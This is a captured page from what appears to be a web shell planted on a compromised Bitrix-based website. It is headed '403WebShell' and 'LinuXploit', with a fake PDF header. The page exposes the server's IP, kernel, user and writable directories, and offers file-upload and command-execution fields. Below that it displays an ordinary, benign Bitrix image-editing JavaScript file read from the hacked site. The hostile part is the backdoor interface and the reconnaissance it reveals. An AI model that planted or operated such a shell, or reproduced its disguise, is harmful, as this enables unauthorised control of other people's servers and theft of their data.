%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.191.239.235
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/node/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/node/img.min.js
(function(){"use strict";BX.namespace("BX.Landing");var e=BX.Landing.Utils.attr;var t=BX.Landing.Utils.data;var i=BX.Landing.Utils.encodeDataValue;var n=BX.Landing.Utils.decodeDataValue;BX.Landing.Block.Node.Img=function(e){BX.Landing.Block.Node.apply(this,arguments);this.type="img";this.editPanel=null;this.lastValue=null;this.field=null;this.uploadParams=e.uploadParams;if(!this.isGrouped()){this.node.addEventListener("click",this.onClick.bind(this))}if(this.isAllowInlineEdit()){this.node.setAttribute("title",BX.Landing.Loc.getMessage("LANDING_TITLE_OF_IMAGE_NODE"))}};function a(e){return e.node.nodeName!=="IMG"}function s(e){return e.node.nodeName==="IMG"}function d(e){return e.node.nodeName==="SPAN"||e.node.nodeName==="I"||e.node.nodeName==="EM"}function o(e){var t=e.node.style.getPropertyValue("background-image");if(t){var i=t.match(/url\((.*?)\)/);if(i&&i[1]){return i[1].replace(/["|']/g,"")}}return""}function l(e){var t=e.node.style.getPropertyValue("background-image");if(t){var i=t.match(/1x, url\(["|'](.*)["|']\) 2x\)/);if(i&&i[1]){return i[1].replace(/["|']/g,"")}}return""}function r(e){var t=parseInt(e.node.dataset.fileid);return t===t?t:-1}function c(e){var t=parseInt(e.node.dataset.fileid2x);return t===t?t:-1}function u(t){var i=e(t.node,"alt");return!!i?i:""}function g(e){var i=t(e.node,"data-pseudo-url");return!!i?i:""}function h(t){var i=e(t.node,"src");return!!i?i:""}function f(t){var i=e(t.node,"srcset");return!!i?i.replace(" 2x",""):""}function m(e,t){if(!s(e)){var i=BX.create("img",{attrs:{src:t.src,alt:t.alt,"data-fileid":t.id}});e.node.parentNode.insertBefore(i,e.node);BX.remove(e.node);e.node=i}else{e.node.src=t.src;e.node.alt=t.alt;e.node.dataset.fileid=t.id||-1;e.node.srcset=t.src2x?t.src2x+" 2x":"";e.node.dataset.fileid2x=t.id2x||-1}}function B(e,t){if(!a(e)){var i=BX.create("div",{attrs:{style:'background-image: url("'+t.src+'")',"data-fileid":t.id}});e.node.parentNode.insertBefore(i,e.node);BX.remove(e.node);e.node=i}else{if(t.src){e.node.style.backgroundImage='url("'+t.src+'")';if(t.src2x){var n=['background-image: url("'+t.src+'");','background-image: -webkit-image-set(url("'+t.src+'") 1x, url("'+t.src2x+'") 2x);','background-image: image-set(url("'+t.src+'") 1x, url("'+t.src2x+'") 2x);'].join(" ");e.node.setAttribute("style",n)}}else{if(e.node.style){e.node.style.removeProperty("background-image")}}e.node.dataset.fileid=t.id||-1;e.node.dataset.fileid2x=t.id2x||-1}}BX.Landing.Block.Node.Img.prototype={__proto__:BX.Landing.Block.Node.prototype,constructor:BX.Landing.Block.Node.Img,onClick:function(e){if(this.manifest.allowInlineEdit!==false&&BX.Landing.Main.getInstance().isControlsEnabled()&&(!BX.Landing.Block.Node.Text.currentNode||!BX.Landing.Block.Node.Text.currentNode.isEditable())&&!BX.Landing.UI.Panel.StylePanel.getInstance().isShown()){e.preventDefault();e.stopPropagation();BX.Landing.UI.Button.FontAction.hideAll();BX.Landing.UI.Button.ColorAction.hideAll();if(!this.editPanel){this.editPanel=new BX.Landing.UI.Panel.Content(this.selector,{title:BX.Landing.Loc.getMessage("LANDING_IMAGE_PANEL_TITLE"),className:"landing-ui-panel-edit-image"});this.editPanel.appendFooterButton(new BX.Landing.UI.Button.BaseButton("save_block_content",{text:BX.Landing.Loc.getMessage("BLOCK_SAVE"),onClick:this.save.bind(this),className:"landing-ui-button-content-save"}));this.editPanel.appendFooterButton(new BX.Landing.UI.Button.BaseButton("cancel_block_content",{text:BX.Landing.Loc.getMessage("BLOCK_CANCEL"),onClick:this.editPanel.hide.bind(this.editPanel),className:"landing-ui-button-content-cancel"}));document.body.appendChild(this.editPanel.layout)}var t=new BX.Landing.UI.Form.BaseForm({title:this.manifest.name});t.addField(this.getField());this.editPanel.clear();this.editPanel.appendForm(t);this.editPanel.show();BX.Landing.UI.Panel.EditorPanel.getInstance().hide()}},save:function(){var e=this.editPanel.forms[0].fields[0].getValue();if(JSON.stringify(this.getValue())!==JSON.stringify(e)){this.setValue(e)}this.editPanel.hide()},getField:function(){if(!this.field){var e="";if(this.manifest.dimensions){var t=this.manifest.dimensions;var i=t.width||t.maxWidth||t.minWidth;var s=t.height||t.maxHeight||t.minHeight;if(i&&!s){e=BX.Landing.Loc.getMessage("LANDING_CONTENT_IMAGE_RECOMMENDED_WIDTH")+" ";e+=i+"px"}else if(s&&!i){e=BX.Landing.Loc.getMessage("LANDING_CONTENT_IMAGE_RECOMMENDED_HEIGHT")+" ";e+=s+"px"}else if(i&&s){e=BX.Landing.Loc.getMessage("LANDING_CONTENT_IMAGE_RECOMMENDED_SIZE")+" ";e+=i+"px / ";e+=s+"px"}}var d=this.getValue();d.url=n(d.url);var o=!!this.node.closest("a")||!!this.manifest.disableLink;this.field=new BX.Landing.UI.Field.Image({selector:this.selector,title:this.manifest.name,description:e,disableLink:o,content:d,dimensions:!!this.manifest.dimensions?this.manifest.dimensions:{},create2xByDefault:this.manifest.create2xByDefault,disableAltField:a(this),uploadParams:this.uploadParams})}else{this.field.setValue(this.getValue());this.field.content=this.getValue();requestAnimationFrame(function(){this.field.adjustPreviewBackgroundSize()}.bind(this))}return this.field},setValue:function(t,i,n){this.lastValue=this.lastValue||this.getValue();this.preventSave(i);t.src=decodeURIComponent(t.src);if(s(this)){m(this,t)}if(a(this)){B(this,t)}if(t.url){e(this.node,"data-pseudo-url",t.url)}this.onChange();if(!n){BX.Landing.History.getInstance().push(new BX.Landing.History.Entry({block:this.getBlock().id,selector:this.selector,command:"editImage",undo:this.lastValue,redo:this.getValue()}))}this.lastValue=this.getValue()},getValue:function(){var e={type:"",src:"",src2x:"",id:-1,id2x:-1,alt:"",url:""};if(a(this)){e.type="background";e.src=o(this);e.src2x=l(this);e.id=r(this);e.id2x=c(this)}if(s(this)){e.type="image";e.src=h(this);e.src2x=f(this);e.id=r(this);e.id2x=c(this);e.alt=u(this)}e.url=i(g(this))||{text:"",href:"",target:"_self",enabled:false};return e}}})();
//# sourceMappingURL=img.map.js

Youez - 2016 - github.com/yon3zu
LinuXploit